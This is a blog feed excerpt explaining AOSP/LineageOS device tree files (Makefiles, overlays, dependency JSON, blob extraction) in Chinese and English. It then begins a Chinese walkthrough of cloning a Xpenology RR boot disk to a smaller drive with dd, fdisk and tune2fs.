&lt;h2&gt;AndroidProduct.mk&lt;/h2&gt;
&lt;p&gt;这个文件一般用于引入下面的&lt;strong&gt;os_codename.mk&lt;/strong&gt;，并定义&lt;code&gt;COMMON_LUNCH_CHOICES&lt;/code&gt;，它定义了lunch时该设备支持的类型（一般在此区分user、userdebug和eng类型的构建）&lt;br /&gt;
注：&lt;code&gt;COMMON_LUNCH_CHOICES&lt;/code&gt;貌似在Android14及以上的构建中取消了&lt;/p&gt;
&lt;h2&gt;BoardConfig.mk&lt;/h2&gt;
&lt;p&gt;:::note
一般在common tree中（如果有）会被命名成&lt;strong&gt;BoardConfigCommon.mk&lt;/strong&gt;
:::&lt;/p&gt;
&lt;p&gt;顾名思义，这是手机的板级配置文件，一般定义了像CPU的架构、分区大小、内核参数等，一般会在此处引入SEPolicy文件夹、各个prop文件、manifest.xml、FCM和其他一些硬件上的参数等&lt;/p&gt;
&lt;p&gt;此处的配置大部分可以在各个rom之间通用&lt;/p&gt;
&lt;h2&gt;device.mk&lt;/h2&gt;
&lt;p&gt;:::note
一般在common tree中（如果有）会被命名成&lt;strong&gt;soc.mk&lt;/strong&gt;或者&lt;strong&gt;common.mk&lt;/strong&gt;，比如在小米的sdm845-common中被命名为&lt;strong&gt;sdm845.mk&lt;/strong&gt;，在小米的sm7250-common中被命名为&lt;strong&gt;lito.mk&lt;/strong&gt;
:::&lt;/p&gt;
&lt;p&gt;这个文件一般定义的是Android操作系统中的一些服务、引入各种库、复制权限文件（如：&lt;a href=&quot;https://github.com/LineageOS/android_device_xiaomi_sdm845-common/blob/lineage-22.1/sdm845.mk#L26-L62&quot;&gt;LineageOS/android_device_xiaomi_sdm845-common/blob/lineage-22.1/sdm845.mk#L26-L62&lt;/a&gt;）&lt;/p&gt;
&lt;p&gt;此处的内容有一部分是各个rom间通用的，具体请视情况而定&lt;/p&gt;
&lt;h2&gt;os_codename.mk&lt;/h2&gt;
&lt;p&gt;此处定义的一般是和当前ROM高度相关的内容，比如以socrates为例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#
# Copyright (C) 2024 The LineageOS Project
#
# SPDX-License-Identifier: Apache-2.0
#

# Inherit common AOSP configurations
$(call inherit-product, build/make/target/product/full_base_telephony.mk)
$(call inherit-product, build/make/target/product/core_64_bit_only.mk)

# Inherit device-specific configurations
$(call inherit-product, device/xiaomi/socrates/device.mk)

# Inherit LineageOS configurations
$(call inherit-product, vendor/lineage/config/common_full_phone.mk)

PRODUCT_NAME := lineage_socrates
PRODUCT_DEVICE := socrates
PRODUCT_MODEL := Redmi K60 Pro
PRODUCT_BRAND := Redmi
PRODUCT_MANUFACTURER := Xiaomi

BUILD_FINGERPRINT := Redmi/socrates/socrates:14/UKQ1.230804.001/V816.0.11.0.UMKCNXM:user/release-keys
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;引入了构建时必要的配置和lineage的配置，在此处引用不同的配置文件可设置操作系统位数和区分平板还是手机&lt;/p&gt;
&lt;p&gt;如此处引入了build/make/target/product/core_64_bit_only.mk这个文件，代表当前设备树编译出来的ROM只支持64位应用，如果此处引入core_64_bit.mk则会一并支持32位应用&lt;br /&gt;
此处引入了vendor/lineage/config/common_full_phone.mk代表是为手机类型的设备适配的，若为平板类型的设备则需要引入common_full_tablet.mk或者common_full_tablet_wifionly.mk之类的&lt;/p&gt;
&lt;p&gt;下面则定义了设备相关的信息，如制造厂、厂商、设备codename和model&lt;/p&gt;
&lt;h1&gt;Prop文件&lt;/h1&gt;
&lt;p&gt;此处定义的是系统内的&lt;strong&gt;Property属性&lt;/strong&gt;，和系统内的prop文件功能相同，定义了某些依赖prop作为设置项的软件需要的条目。建议参考网上的介绍，此处不多介绍&lt;/p&gt;
&lt;h1&gt;Overlay&lt;/h1&gt;
&lt;p&gt;官方介绍：
Android Overlay是一种资源替换机制，它能在不重新打包apk的情况下，实现资源文件的替换（res目录非assert目录）&lt;/p&gt;
&lt;p&gt;个人理解：用于替换和覆写系统内指定软件的res的xml的特定内容，可以此修改系统设置、开关等。&lt;/p&gt;
&lt;p&gt;举个例子：&lt;a href=&quot;https://github.com/LineageOS/android_device_xiaomi_socrates/blob/lineage-22.1/overlay/SystemUIOverlaySocrates/res/values/config.xml#L24&quot;&gt;https://github.com/LineageOS/android_device_xiaomi_socrates/blob/lineage-22.1/overlay/SystemUIOverlaySocrates/res/values/config.xml#L24&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;展开代码&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;
&amp;lt;!--
/*
** Copyright 2009, The Android Open Source Project
**
** Licensed under the Apache License, Version 2.0 (the &quot;License&quot;);
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
**
**     http://www.apache.org/licenses/LICENSE-2.0
**
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an &quot;AS IS&quot; BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*/
--&amp;gt;

&amp;lt;!-- These resources are around just to allow their values to be customized
     for different hardware and product builds. --&amp;gt;
&amp;lt;resources&amp;gt;
    &amp;lt;!-- Doze: does this device support STATE_DOZE?  --&amp;gt;
    &amp;lt;bool name=&quot;doze_display_state_supported&quot;&amp;gt;true&amp;lt;/bool&amp;gt;&amp;lt;!--这一行--&amp;gt;

    &amp;lt;!-- Color of the UDFPS pressed view --&amp;gt;
    &amp;lt;color name=&quot;config_udfpsColor&quot;&amp;gt;#00FFFFFF&amp;lt;/color&amp;gt;

    &amp;lt;!-- paddings for container with status icons and battery --&amp;gt;
    &amp;lt;dimen name=&quot;status_bar_icons_padding_start&quot;&amp;gt;0dp&amp;lt;/dimen&amp;gt;
    &amp;lt;dimen name=&quot;status_bar_icons_padding_end&quot;&amp;gt;0dp&amp;lt;/dimen&amp;gt;

    &amp;lt;!-- the padding on the start of the statusbar --&amp;gt;
    &amp;lt;dimen name=&quot;status_bar_padding_start&quot;&amp;gt;10dp&amp;lt;/dimen&amp;gt;

    &amp;lt;!-- the padding on the end of the statusbar --&amp;gt;
    &amp;lt;dimen name=&quot;status_bar_padding_end&quot;&amp;gt;4dp&amp;lt;/dimen&amp;gt;
&amp;lt;/resources&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此处修改的就是&lt;a href=&quot;https://github.com/LineageOS/android_frameworks_base/blob/lineage-22.1/packages/SystemUI/res/values/config.xml#L175&quot;&gt;https://github.com/LineageOS/android_frameworks_base/blob/lineage-22.1/packages/SystemUI/res/values/config.xml#L175&lt;/a&gt;
这里的同名变量，并以此标识设备是否支持Doze display：&lt;a href=&quot;https://github.com/LineageOS/android_frameworks_base/blob/472a48741ac22537b3a0d1c0b87dbff2c1c2af8f/packages/SystemUI/src/com/android/systemui/statusbar/phone/DozeParameters.java#L185-L187&quot;&gt;https://github.com/LineageOS/android_frameworks_base/blob/472a48741ac22537b3a0d1c0b87dbff2c1c2af8f/packages/SystemUI/src/com/android/systemui/statusbar/phone/DozeParameters.java#L185-L187&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在编写overlay时一般需要参考系统内对res中的项的定义，并根据需要替换其中的值&lt;/p&gt;
&lt;h1&gt;.dependencies文件&lt;/h1&gt;
&lt;p&gt;顾名思义，依赖，此处定义了使用这个设备树还需要哪些依赖的仓库，使用json编码。基本格式如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[
   {
      &quot;repository&quot;: &quot;&quot;,
      &quot;target_path&quot;: &quot;&quot;,
      &quot;branch&quot;: &quot;&quot;,
      &quot;remote&quot;: &quot;&quot;
   },
   {
      &quot;repository&quot;: &quot;&quot;,
      &quot;target_path&quot;: &quot;&quot;,
      &quot;branch&quot;: &quot;&quot;,
      &quot;remote&quot;: &quot;&quot;
   }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参数详解：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;remote&lt;/code&gt;: 远程地址，对应的主代码树manifest中的远程地址。该参数非必须，若不指定则默认按照主代码树manifest中的默认远程地址克隆&lt;/li&gt;
&lt;li&gt;&lt;code&gt;repository&lt;/code&gt;: 仓库地址，即远程地址下的这个仓库，必须&lt;/li&gt;
&lt;li&gt;&lt;code&gt;branch&lt;/code&gt;: 分支，对应从指定repository下载时的分支。非必须，若不指定则默认和主代码树分支相同&lt;/li&gt;
&lt;li&gt;&lt;code&gt;target_path&lt;/code&gt;: 克隆目标地址，必须&lt;/li&gt;
&lt;li&gt;&lt;code&gt;clone-path&lt;/code&gt;: 克隆深度，同git指令clone时的&lt;code&gt;--depth&lt;/code&gt;参数。非必须，若不指定则默认是全部下载（和git指令一个逻辑）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;revision&lt;/code&gt;: 可以理解为branch，非必须&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此不带那些可选参数时一个最简单的dependences可以是这样的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/LineageOS/android_device_xiaomi_equuleus/blob/lineage-22.1/lineage.dependencies&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;[
  {
    &quot;repository&quot;: &quot;android_device_xiaomi_sdm845-common&quot;,
    &quot;target_path&quot;: &quot;device/xiaomi/sdm845-common&quot;
  }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在使用类似breakfast这样的自动下载支持的设备树的指令的时候会根据这个文件将需要的仓库整合进主代码树的manifest并一并下载下来&lt;/p&gt;
&lt;h1&gt;extract-files.py、setup-makefiles.py和proprietary-files.txt&lt;/h1&gt;
&lt;p&gt;这些文件是生成Vendor tree的时候用的，一般在proprietary-files.txt里写好需要的blobs，然后运行extract-files.py从系统或者dump中提取blobs并制成vendor tree&lt;/p&gt;
&lt;p&gt;先写这么多，后面有待补充（&lt;/p&gt;
</content:encoded></item><item><title>Brief Understanding of Some Files and Concepts in AOSP Device Trees</title><link>https://blog.iyoroy.cn/posts/en-23/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/en-23/</guid><description>Notes on Android device-tree files encountered while building ROMs: Android.bp, Makefiles, properties, overlays, SELinux policy, and vendor blob extraction scripts.</description><pubDate>Mon, 03 Feb 2025 03:58:00 GMT</pubDate><content:encoded>&lt;p&gt;:::warning
The following content largely represents my personal understanding of some concepts within device trees and is not official definitions. Corrections are welcome if any errors are found.
:::&lt;/p&gt;
&lt;p&gt;The common contents of a device tree can be broadly categorized as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Android.bp&lt;/li&gt;
&lt;li&gt;Various Makefiles, with the suffix &lt;code&gt;.mk&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;prop files, with the suffix &lt;code&gt;.prop&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;overlay, placed in the overlay folder&lt;/li&gt;
&lt;li&gt;sepolicy, i.e., SELinux rules, placed in the sepolicy folder&lt;/li&gt;
&lt;li&gt;manifest.xml and FCM (framework_compatibility_matrix.xml)&lt;/li&gt;
&lt;li&gt;extract-files.py, setup-makefiles.py, and proprietary-files.txt&lt;/li&gt;
&lt;li&gt;Dependency files ending with &lt;code&gt;.dependencies&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Various other configurations&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Android.bp&lt;/h1&gt;
&lt;p&gt;This is the configuration file for the AOSP build system, Ninja. The device tree doesn&apos;t rely heavily on it (main content is usually in Android.mk and other Makefiles). It&apos;s generally used to introduce other &lt;strong&gt;soong_namespaces&lt;/strong&gt;, allowing references to Modules from other directories. Let&apos;s take the LineageOS socrates device tree as an example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;//
// Copyright (C) 2024 The LineageOS Project
//
// SPDX-License-Identifier: Apache-2.0
//

soong_namespace {
    imports: [
        &quot;hardware/xiaomi&quot;,
    ],
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, it declares the import of the namespace from &lt;strong&gt;hardware/xiaomi&lt;/strong&gt;, enabling PRODUCT_PACKAGES to reference items from hardware/xiaomi.&lt;/p&gt;
&lt;h1&gt;Makefile&lt;/h1&gt;
&lt;h2&gt;Android.mk&lt;/h2&gt;
&lt;p&gt;This file defines the entry point for the entire device tree (it should be). Again, using socrates as an example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#
# Copyright (C) 2024 The LineageOS Project
#
# SPDX-License-Identifier: Apache-2.0
#

LOCAL_PATH := $(call my-dir)

ifeq ($(TARGET_DEVICE),socrates)
include $(LOCAL_PATH)/vendor-symlinks.mk
include $(call all-subdir-makefiles,$(LOCAL_PATH))

include $(CLEAR_VARS)
# A/B builds require us to create the mount points at compile time.
# Just creating it for all cases since it does not hurt.
FIRMWARE_MOUNT_POINT := $(TARGET_OUT_VENDOR)/firmware_mnt
$(FIRMWARE_MOUNT_POINT): $(LOCAL_INSTALLED_MODULE)
	@echo &quot;Creating $(FIRMWARE_MOUNT_POINT)&quot;
	@mkdir -p $(TARGET_OUT_VENDOR)/firmware_mnt

BT_FIRMWARE_MOUNT_POINT := $(TARGET_OUT_VENDOR)/bt_firmware
$(BT_FIRMWARE_MOUNT_POINT): $(LOCAL_INSTALLED_MODULE)
	@echo &quot;Creating $(BT_FIRMWARE_MOUNT_POINT)&quot;
	@mkdir -p $(TARGET_OUT_VENDOR)/bt_firmware

DSP_MOUNT_POINT := $(TARGET_OUT_VENDOR)/dsp
$(DSP_MOUNT_POINT): $(LOCAL_INSTALLED_MODULE)
	@echo &quot;Creating $(DSP_MOUNT_POINT)&quot;
	@mkdir -p $(TARGET_OUT_VENDOR)/dsp

ALL_DEFAULT_INSTALLED_MODULES += $(FIRMWARE_MOUNT_POINT) $(BT_FIRMWARE_MOUNT_POINT) $(DSP_MOUNT_POINT)
endif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It shows that if &lt;code&gt;TARGET_DEVICE&lt;/code&gt; equals &lt;strong&gt;socrates&lt;/strong&gt;, the build system will proceed to include all Makefiles in this directory and define some mount points here.&lt;/p&gt;
&lt;h2&gt;AndroidProduct.mk&lt;/h2&gt;
&lt;p&gt;This file is typically used to include the &lt;code&gt;os_codename.mk&lt;/code&gt; file below and define &lt;code&gt;COMMON_LUNCH_CHOICES&lt;/code&gt;. It defines the types supported by the device during lunch (generally distinguishing between user, userdebug, and eng builds).
Note: &lt;code&gt;COMMON_LUNCH_CHOICES&lt;/code&gt; seems to have been removed in Android 14 and above builds.&lt;/p&gt;
&lt;h2&gt;BoardConfig.mk&lt;/h2&gt;
&lt;p&gt;:::note
In common trees (if they exist), this is often named &lt;strong&gt;BoardConfigCommon.mk&lt;/strong&gt;
:::&lt;/p&gt;
&lt;p&gt;As the name suggests, this is the board configuration file for the phone. It generally defines things like CPU architecture, partition sizes, kernel parameters, etc. It usually includes the SEPolicy folder, various prop files, manifest.xml, FCM, and other hardware-related parameters.&lt;/p&gt;
&lt;p&gt;Most configurations here are generally reusable across different ROMs.&lt;/p&gt;
&lt;h2&gt;device.mk&lt;/h2&gt;
&lt;p&gt;:::note
In common trees (if they exist), this is often named &lt;code&gt;soc.mk&lt;/code&gt; or &lt;code&gt;common.mk&lt;/code&gt;. For example, it&apos;s named &lt;code&gt;sdm845.mk&lt;/code&gt; in Xiaomi&apos;s sdm845-common and &lt;code&gt;lito.mk&lt;/code&gt; in Xiaomi&apos;s sm7250-common.
:::&lt;/p&gt;
&lt;p&gt;This file generally defines services within the Android operating system, includes various libraries, copies permission files (e.g., &lt;a href=&quot;https://github.com/LineageOS/android_device_xiaomi_sdm845-common/blob/lineage-22.1/sdm845.mk#L26-L62&quot;&gt;LineageOS/android_device_xiaomi_sdm845-common/blob/lineage-22.1/sdm845.mk#L26-L62&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Some of the content here is reusable across different ROMs; please decide based on the specific situation.&lt;/p&gt;
&lt;h2&gt;os_codename.mk&lt;/h2&gt;
&lt;p&gt;This file typically defines content highly specific to the current ROM. For example, using socrates:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#
# Copyright (C) 2024 The LineageOS Project
#
# SPDX-License-Identifier: Apache-2.0
#

# Inherit common AOSP configurations
$(call inherit-product, build/make/target/product/full_base_telephony.mk)
$(call inherit-product, build/make/target/product/core_64_bit_only.mk)

# Inherit device-specific configurations
$(call inherit-product, device/xiaomi/socrates/device.mk)

# Inherit LineageOS configurations
$(call inherit-product, vendor/lineage/config/common_full_phone.mk)

PRODUCT_NAME := lineage_socrates
PRODUCT_DEVICE := socrates
PRODUCT_MODEL := Redmi K60 Pro
PRODUCT_BRAND := Redmi
PRODUCT_MANUFACTURER := Xiaomi

BUILD_FINGERPRINT := Redmi/socrates/socrates:14/UKQ1.230804.001/V816.0.11.0.UMKCNXM:user/release-keys
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It includes necessary configurations for the build and LineageOS configurations. Referencing different configuration files here can set the operating system bitness and distinguish between tablet and phone.&lt;/p&gt;
&lt;p&gt;For instance, including &lt;code&gt;build/make/target/product/core_64_bit_only.mk&lt;/code&gt; means the ROM built from this device tree only supports 64-bit apps. If &lt;code&gt;core_64_bit.mk&lt;/code&gt; were included instead, it would also support 32-bit apps.
Including &lt;code&gt;vendor/lineage/config/common_full_phone.mk&lt;/code&gt; indicates adaptation for a phone-type device. For a tablet-type device, &lt;code&gt;common_full_tablet.mk&lt;/code&gt; or &lt;code&gt;common_full_tablet_wifionly.mk&lt;/code&gt; would be included.&lt;/p&gt;
&lt;p&gt;The section below defines device-related information like manufacturer, brand, device codename, and model.&lt;/p&gt;
&lt;h1&gt;Prop Files&lt;/h1&gt;
&lt;p&gt;These define &lt;strong&gt;Property attributes&lt;/strong&gt; within the system, functioning similarly to prop files inside the system. They define entries required by software that relies on props for settings. It&apos;s recommended to refer to online introductions for details, as we won&apos;t elaborate much here.&lt;/p&gt;
&lt;h1&gt;Overlay&lt;/h1&gt;
&lt;p&gt;Official introduction:
Android Overlay is a resource replacement mechanism that allows replacing resource files without repackaging the APK (res directory, not assets directory).&lt;/p&gt;
&lt;p&gt;Personal understanding: Used to replace and override specific content in the res XML of specified software within the system, allowing modifications to system settings, toggles, etc.&lt;/p&gt;
&lt;p&gt;For example: &lt;a href=&quot;https://github.com/LineageOS/android_device_xiaomi_socrates/blob/lineage-22.1/overlay/SystemUIOverlaySocrates/res/values/config.xml#L24&quot;&gt;https://github.com/LineageOS/android_device_xiaomi_socrates/blob/lineage-22.1/overlay/SystemUIOverlaySocrates/res/values/config.xml#L24&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Expand Code&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;
&amp;lt;!--
/*
** Copyright 2009, The Android Open Source Project
**
** Licensed under the Apache License, Version 2.0 (the &quot;License&quot;);
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
**
**     http://www.apache.org/licenses/LICENSE-2.0
**
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an &quot;AS IS&quot; BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*/
--&amp;gt;

&amp;lt;!-- These resources are around just to allow their values to be customized
     for different hardware and product builds. --&amp;gt;
&amp;lt;resources&amp;gt;
    &amp;lt;!-- Doze: does this device support STATE_DOZE?  --&amp;gt;
    &amp;lt;bool name=&quot;doze_display_state_supported&quot;&amp;gt;true&amp;lt;/bool&amp;gt;&amp;lt;!--这一行--&amp;gt;

    &amp;lt;!-- Color of the UDFPS pressed view --&amp;gt;
    &amp;lt;color name=&quot;config_udfpsColor&quot;&amp;gt;#00FFFFFF&amp;lt;/color&amp;gt;

    &amp;lt;!-- paddings for container with status icons and battery --&amp;gt;
    &amp;lt;dimen name=&quot;status_bar_icons_padding_start&quot;&amp;gt;0dp&amp;lt;/dimen&amp;gt;
    &amp;lt;dimen name=&quot;status_bar_icons_padding_end&quot;&amp;gt;0dp&amp;lt;/dimen&amp;gt;

    &amp;lt;!-- the padding on the start of the statusbar --&amp;gt;
    &amp;lt;dimen name=&quot;status_bar_padding_start&quot;&amp;gt;10dp&amp;lt;/dimen&amp;gt;

    &amp;lt;!-- the padding on the end of the statusbar --&amp;gt;
    &amp;lt;dimen name=&quot;status_bar_padding_end&quot;&amp;gt;4dp&amp;lt;/dimen&amp;gt;
&amp;lt;/resources&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This modifies the variable of the same name here: &lt;a href=&quot;https://github.com/LineageOS/android_frameworks_base/blob/lineage-22.1/packages/SystemUI/res/values/config.xml#L175&quot;&gt;https://github.com/LineageOS/android_frameworks_base/blob/lineage-22.1/packages/SystemUI/res/values/config.xml#L175&lt;/a&gt;
and thereby indicates whether the device supports Doze display:&lt;a href=&quot;https://github.com/LineageOS/android_frameworks_base/blob/472a48741ac22537b3a0d1c0b87dbff2c1c2af8f/packages/SystemUI/src/com/android/systemui/statusbar/phone/DozeParameters.java#L185-L187&quot;&gt;https://github.com/LineageOS/android_frameworks_base/blob/472a48741ac22537b3a0d1c0b87dbff2c1c2af8f/packages/SystemUI/src/com/android/systemui/statusbar/phone/DozeParameters.java#L185-L187&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;When writing overlays, one generally needs to reference the definitions of items in the res within the system and replace their values as needed.&lt;/p&gt;
&lt;h1&gt;.dependencies Files&lt;/h1&gt;
&lt;p&gt;As the name implies, dependencies. This file defines which dependent repositories are needed to use this device tree, encoded in JSON. The basic format is as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[
   {
      &quot;repository&quot;: &quot;&quot;,
      &quot;target_path&quot;: &quot;&quot;,
      &quot;branch&quot;: &quot;&quot;,
      &quot;remote&quot;: &quot;&quot;
   },
   {
      &quot;repository&quot;: &quot;&quot;,
      &quot;target_path&quot;: &quot;&quot;,
      &quot;branch&quot;: &quot;&quot;,
      &quot;remote&quot;: &quot;&quot;
   }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Parameter details:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;remote&lt;/code&gt;: The remote address, corresponding to the remote address in the main source tree&apos;s manifest. This parameter is optional. If not specified, it defaults to cloning from the default remote address in the main source tree&apos;s manifest.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;repository&lt;/code&gt;: The repository address, i.e., this repository under the remote address. Required.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;branch&lt;/code&gt;: The branch corresponding to the branch used when downloading from the specified repository. Optional. If not specified, it defaults to the same branch as the main source tree.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;target_path&lt;/code&gt;: The clone target path. Required.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;clone-path&lt;/code&gt;: The clone depth, similar to the &lt;code&gt;--depth&lt;/code&gt; parameter in the git clone command. Optional. If not specified, it defaults to a full download (same logic as the git command).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;revision&lt;/code&gt;: Can be understood as the branch. Optional.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Therefore, a simplest dependencies file without the optional parameters can look like this:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;https://github.com/LineageOS/android_device_xiaomi_equuleus/blob/lineage-22.1/lineage.dependencies&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;[
  {
    &quot;repository&quot;: &quot;android_device_xiaomi_sdm845-common&quot;,
    &quot;target_path&quot;: &quot;device/xiaomi/sdm845-common&quot;
  }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When using commands like &lt;code&gt;breakfast&lt;/code&gt; that automatically download supported device trees, this file is used to integrate the required repositories into the main source tree&apos;s manifest and download them together.&lt;/p&gt;
&lt;h1&gt;extract-files.py, setup-makefiles.py, and proprietary-files.txt&lt;/h1&gt;
&lt;p&gt;These files are used when generating the Vendor tree. Generally, the required blobs are listed in proprietary-files.txt, then extract-files.py is run to extract blobs from the system or a dump and create the vendor tree.&lt;/p&gt;
&lt;p&gt;That&apos;s all for now, more may be added later.&lt;/p&gt;
</content:encoded></item><item><title>为黑群晖迁移RR引导盘</title><link>https://blog.iyoroy.cn/posts/15/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/15/</guid><description>将 RR 引导盘从 U 盘迁移到实际容量稍小的傲腾盘：复制前两个分区，重建第三个分区，再迁移文件及 UUID、卷标。</description><pubDate>Wed, 29 Jan 2025 16:36:00 GMT</pubDate><content:encoded>&lt;p&gt;写这篇文章是因为原来的磁盘是一个16g的u盘，目标磁盘是一条16g的傲腾，虽然都是16G但是原先那个稍微大一点（我也不知道为什么（逃&lt;br /&gt;
直接dd肯定是行不通了，原盘比目标盘大，故记录下折腾过程&lt;/p&gt;
&lt;p&gt;:::warning
数据无价，折腾需谨慎
:::&lt;/p&gt;
&lt;h1&gt;分析&lt;/h1&gt;
&lt;p&gt;RR引导盘一共有三个分区：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;FAT32,50.00MB&lt;/li&gt;
&lt;li&gt;Ext2,50.00MB&lt;/li&gt;
&lt;li&gt;Ext4,剩余所有空间&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;其中，第一个分区是引导分区，是可引导的（&lt;code&gt;fdisk -l&lt;/code&gt;中Boot被打了星号）；第二个没研究是什么，估计是grub，第三个存放了群晖的内核和RR的配置文件&lt;/p&gt;
&lt;h1&gt;思路&lt;/h1&gt;
&lt;p&gt;因为前两个分区大小很小，所以直接用dd将两个分区完整拷贝到目标磁盘；第三个分区手动创建并格式化后将UUID、Label同步过来&lt;/p&gt;
&lt;p&gt;:::info
折腾过程使用Linux操作
:::&lt;/p&gt;
&lt;h1&gt;开整&lt;/h1&gt;
&lt;p&gt;将两块磁盘接入系统，分别为原盘&lt;code&gt;/dev/sda&lt;/code&gt;，目标盘&lt;code&gt;/dev/sdb&lt;/code&gt;&lt;br /&gt;
查看原盘信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo fdisk -l /dev/sda
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Disk /dev/sda: 14.55 GiB, 15627976704 bytes, 30523392 sectors
Disk model: Storage Media   
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x66d0fe82

Device     Boot  Start      End  Sectors  Size Id Type
/dev/sda1  *      2048   104447   102400   50M 83 Linux
/dev/sda2       104448   206847   102400   50M 83 Linux
/dev/sda3       206848 30523391 30316544 14.5G 83 Linux
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;将前两个分区和磁盘分区表信息拷贝到目标盘&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo dd if=/dev/sda of=/dev/sdb bs=512 count=206848 # 本例扇区大小为 512 字节，count 为第三个分区的起始扇区，请按实际磁盘修改
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;206848+0 records in
206848+0 records out
105906176 bytes (106 MB, 101 MiB) copied, 11.3812 s, 9.3 MB/s
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;创建第三个分区&lt;/h2&gt;
&lt;p&gt;使用fdisk打开磁盘：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo fdisk /dev/sdb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先删除原有的第三个分区的分区数据：输入&lt;code&gt;d&lt;/code&gt;，输出&lt;code&gt;Partition number (1-3, default 3):&lt;/code&gt;时输入3或直接回车；&lt;br /&gt;
提示&lt;code&gt;Partition 3 has been deleted.&lt;/code&gt;后输入&lt;code&gt;n&lt;/code&gt;创建分区，&lt;code&gt;Partition type&lt;/code&gt;选择主分区，即&lt;code&gt;p&lt;/code&gt;，剩下一路默认回车即可。完成后输入&lt;code&gt;w&lt;/code&gt;保存退出。&lt;br /&gt;
不会用fdisk的建议自行搜索&lt;/p&gt;
&lt;h1&gt;格式化新创建的分区并写入UUID等信息&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;sudo mkfs.ext4 /dev/sdb3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用file指令查看原盘第三个分区的信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo file -s /dev/sda3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/dev/sda3: Linux rev 1.0 ext4 filesystem data, UUID=617a3aca-4b56-42d7-8558-54411b344a7d, volume name &quot;RR3&quot; (extents) (64bit) (large files) (huge files)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;记录下&lt;code&gt;UUID&lt;/code&gt;和&lt;code&gt;volume name&lt;/code&gt;（即&quot;RR3&quot;），并使用如下指令将UUID和volume name写入新盘：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo tune2fs /dev/sdb3 -U 617a3aca-4b56-42d7-8558-54411b344a7d # 写入原分区的 UUID，请替换为你记录的值
sudo tune2fs /dev/sdb3 -L RR3 # 写入volume name
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;拷贝数据&lt;/h1&gt;
